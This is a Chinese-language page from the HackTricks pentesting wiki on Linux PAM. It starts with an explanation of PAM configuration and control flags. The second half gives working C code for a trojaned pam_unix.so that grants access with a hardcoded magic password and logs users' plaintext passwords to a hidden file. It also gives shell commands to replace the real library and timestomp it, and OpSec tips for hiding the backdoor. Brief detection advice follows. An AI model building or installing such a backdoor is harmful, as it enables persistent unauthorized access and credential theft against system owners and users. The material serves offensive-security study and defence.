hacktricks/src/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md

109 lines
4.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PAM - Pluggable Authentication Modules
{{#include ../../banners/hacktricks-training.md}}
### 基本信息
**PAM (可插拔认证模块)** 作为一种安全机制,**验证试图访问计算机服务的用户身份**,根据各种标准控制他们的访问。它类似于数字门卫,确保只有授权用户可以使用特定服务,同时可能限制他们的使用以防止系统过载。
#### 配置文件
- **Solaris 和基于 UNIX 的系统** 通常使用位于 `/etc/pam.conf` 的中央配置文件。
- **Linux 系统** 更倾向于目录方法,将特定服务的配置存储在 `/etc/pam.d` 中。例如,登录服务的配置文件位于 `/etc/pam.d/login`
登录服务的 PAM 配置示例如下:
```
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
```
#### **PAM 管理领域**
这些领域或管理组包括 **auth**、**account**、**password** 和 **session**,每个领域负责身份验证和会话管理过程的不同方面:
- **Auth**:验证用户身份,通常通过提示输入密码。
- **Account**:处理账户验证,检查诸如组成员资格或时间限制等条件。
- **Password**:管理密码更新,包括复杂性检查或字典攻击防护。
- **Session**:管理服务会话开始或结束时的操作,例如挂载目录或设置资源限制。
#### **PAM 模块控制**
控制决定模块对成功或失败的响应,影响整体身份验证过程。这些包括:
- **Required**:所需模块的失败最终导致失败,但仅在检查所有后续模块后。
- **Requisite**:失败时立即终止过程。
- **Sufficient**:成功绕过同一领域的其余检查,除非后续模块失败。
- **Optional**:仅在它是堆栈中唯一模块时导致失败。
#### 示例场景
在具有多个身份验证模块的设置中,过程遵循严格的顺序。如果 `pam_securetty` 模块发现登录终端未授权,则阻止 root 登录但由于其“required”状态所有模块仍会被处理。`pam_env` 设置环境变量,可能有助于用户体验。`pam_ldap``pam_unix` 模块协同工作以验证用户,`pam_unix` 尝试使用先前提供的密码,从而提高身份验证方法的效率和灵活性。
## 后门 PAM 钩住 `pam_unix.so`
在高价值的 Linux 环境中,一个经典的持久性技巧是 **用木马化的替代品替换合法的 PAM 库**。因为每次 SSH / 控制台登录最终都会调用 `pam_unix.so:pam_sm_authenticate()`,所以几行 C 代码就足以捕获凭据或实现 *magic* 密码绕过。
### 编译备忘单
```c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
```
编译和隐蔽替换:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
```
### OpSec Tips
1. **原子覆盖** 写入临时文件并 `mv` 到目标位置,以避免半写入的库锁定 SSH。
2. 日志文件放置如 `/usr/bin/.dbus.log` 与合法桌面工件混合。
3. 保持符号导出相同 (`pam_sm_setcred` 等),以避免 PAM 错误行为。
### Detection
* 比较 `pam_unix.so` 的 MD5/SHA256 与发行版包。
* 检查 `/lib/security/` 下的世界可写或不寻常的所有权。
* `auditd` 规则: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`
### References
- [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
{{#include ../../banners/hacktricks-training.md}}